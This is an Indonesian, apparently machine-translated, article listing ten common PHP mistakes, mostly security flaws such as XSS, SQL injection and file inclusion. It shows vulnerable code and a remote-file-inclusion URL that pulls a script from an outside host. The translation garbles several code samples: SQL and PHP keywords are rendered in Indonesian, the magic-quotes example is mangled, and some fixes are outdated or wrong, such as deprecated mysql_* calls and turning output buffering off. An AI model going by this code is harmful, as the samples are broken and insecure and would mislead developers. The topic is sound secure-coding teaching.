PHP adalah bahasa pengembangan web yang bagus dan bahasa yang fleksibel, tetapi kami melihat beberapa kesalahan yang berulang kali dilakukan oleh pemrogram PHP. Saya membuat daftar 10 kesalahan umum yang dilakukan oleh programmer PHP berikut ini, yang sebagian besar terkait dengan keamanan. Lihat kesalahan apa yang Anda buat:
1. Jangan abaikan entitas html
Akal sehat dasar: semua masukan yang tidak tepercaya (terutama data yang dikirimkan oleh pengguna dari formulir) harus diubah sebelum keluaran.
echo $_GET['namapengguna'] ;
Contoh ini mungkin menghasilkan:
<script>/*Script untuk mengubah kata sandi admin atau mengatur cookie*/</script>
Ini jelas merupakan risiko keamanan kecuali Anda memastikan bahwa pengguna Anda mengetik dengan benar.
Cara memperbaikinya:
Kita perlu mengonversi "<", ">", "dan", dll. menjadi representasi HTML yang benar (<, >', dan "). Fungsi htmlspecialchars dan htmlentities() melakukan hal ini.
Metode yang benar: echo htmlspecialchars ( $_GET['username'], ENT_QUOTES);
2. Jangan abaikan input SQL. Saya pernah membahas masalah ini di artikel Cara Paling Sederhana untuk Mencegah Injeksi SQL (php+mysql) dan memberikan metode sederhana kepada saya mereka sudah menyetel magic_quotes ke On di php.ini sehingga mereka tidak perlu khawatir tentang hal ini, tetapi tidak semua input berasal dari $_GET, $_POST atau $_COOKIE
.
Seperti cara paling sederhana untuk mencegah injeksi sql (php+mysql), saya tetap merekomendasikan
cara yang benar untuk menggunakan fungsi mysql_real_escape_string():
<?php
$sql = “PERBARUI SET pengguna
nama='.mysql_real_escape_string($nama).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. Penggunaan fungsi terkait header HTTP yang salah: header(), session_start(), setcookie()
Pernahkah Anda menemukan peringatan ini?" peringatan: Tidak dapat menambahkan informasi header - header sudah terkirim [....]
Setiap kali halaman web diunduh dari server, output server dibagi menjadi dua bagian: header dan isi.
Header berisi beberapa data non-visual, seperti cookie. Kepala selalu datang lebih dulu. Bagian teks mencakup visual html, gambar, dan data lainnya.
Jika output_buffering diatur ke Off, semua fungsi terkait HTTP-header harus dipanggil sebelum ada output. Masalahnya adalah ketika Anda mengembangkan di satu lingkungan dan menerapkan ke lingkungan lain, pengaturan output_buffering mungkin berbeda. Akibatnya, pengalihan berhenti, dan cookie serta sesi tidak disetel dengan benar...
Cara memperbaikinya:
Pastikan untuk memanggil fungsi terkait http-header sebelum mengeluarkan, dan atur output_buffering = Off
.
4. Mewajibkan atau menyertakan file menggunakan data yang tidak aman Sekali lagi: jangan percaya data yang tidak Anda nyatakan secara eksplisit. Jangan sertakan atau minta file yang diperoleh dari $_GET, $_POST atau $_COOKIE.
Misalnya:
indeks.php
<?
//termasuk header, konfigurasi, koneksi database, dll
include($_GET['namafile']);
//termasuk catatan kaki
?>
Peretas mana pun sekarang dapat menggunakan: http://www.domainanda.com/index.php?filename=anyfile.txt
untuk mendapatkan informasi rahasia Anda, atau menjalankan skrip PHP.
Jikaallow_url_fopen=Aktif, Anda mati:
Coba masukan ini:
http://www.yourdomain.com/index … n.com%2Fphphack.php
Sekarang halaman web Anda berisi output dari http://www.youaredoored.com/phphack.php . Peretas dapat mengirim spam, mengubah Kata Sandi, file yang dihapus, dll. Apa pun yang dapat Anda bayangkan.
Cara memperbaikinya:
Anda harus mengontrol file mana yang dapat dimasukkan dalam arahan include atau require.
Berikut solusi cepat namun tidak komprehensif:
<?
// Sertakan hanya file yang diperbolehkan.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['namafile'],$allowedFiles)) {
include($_GET['namafile']);
}
kalau tidak{
keluar('tidak diperbolehkan');
}
?>
5. Kesalahan Tata Bahasa Kesalahan tata bahasa mencakup semua kesalahan leksikal dan tata bahasa yang sangat umum sehingga saya harus mencantumkannya di sini. Solusinya adalah mempelajari sintaks PHP dengan cermat dan berhati-hati agar tidak melewatkan tanda kurung, kurung kurawal, titik koma, atau tanda kutip. Juga, temukan editor yang bagus dan jangan gunakan Notepad!
6. Sedikit atau tidak ada proyek berorientasi objek yang digunakan. Banyak proyek tidak menggunakan teknologi berorientasi objek PHP. Akibatnya, pemeliharaan kode menjadi sangat memakan waktu dan tenaga. PHP semakin mendukung teknologi berorientasi objek dan menjadi lebih baik. Tidak ada alasan mengapa kita tidak menggunakan teknologi berorientasi objek.
7. Tidak menggunakan kerangka kerja
95% proyek PHP melakukan empat hal yang sama: Membuat, mengedit, membuat daftar, dan menghapus. Sekarang ada banyak kerangka MVC untuk membantu kita menyelesaikan empat hal ini, mengapa kita tidak menggunakannya?
8. Tidak mengetahui fungsionalitas yang sudah tersedia di PHP
Inti dari PHP mengandung banyak fungsi. Banyak pemrogram menemukan kembali roda berulang kali. Banyak waktu yang terbuang. Sebelum coding, cari Mamual PHP dan cari di Google. Anda mungkin menemukan penemuan baru! exec() di PHP adalah fungsi canggih yang dapat mengeksekusi cmd shell dan mengembalikan baris terakhir hasil eksekusi dalam bentuk string. Untuk alasan keamanan, Anda dapat menggunakan EscapeShellCmd()
9. Gunakan PHP versi lama
Banyak programmer yang masih menggunakan PHP4. Pengembangan pada PHP4 tidak dapat memaksimalkan potensi PHP, dan masih terdapat beberapa risiko keamanan. Beralih ke PHP5, tidak perlu banyak usaha. Sebagian besar program PHP4 dapat dimigrasikan ke PHP5 dengan sedikit atau bahkan tanpa perubahan pada pernyataannya. Menurut survei yang dilakukan oleh http://www.nexen.net, hanya 12% server PHP yang menggunakan PHP5, sehingga 88% pengembang PHP masih menggunakan PHP4.
10. Ubah tanda kutip ' atau muncul di web halaman '"? Ini biasanya karena magic_quotes dinonaktifkan di lingkungan pengembang, tetapi magic_quotes=on di server yang diterapkan. PHP akan berulang kali menjalankan addlashes() pada data di GET, POST, dan COOKIE.
Teks asli:
Ini adalah
kutipan ajaib string tentang:
Itu adalah string
Jalankan lagi
menambahkan garis miring():
Ini adalah
output string HTML:
Ini adalah string
Situasi lainnya adalah pengguna memasukkan informasi login yang salah di awal. Setelah server mendeteksi input yang salah, server akan mengeluarkan formulir yang sama dan mengharuskan pengguna untuk memasukkan lagi, menyebabkan input pengguna berubah dua kali!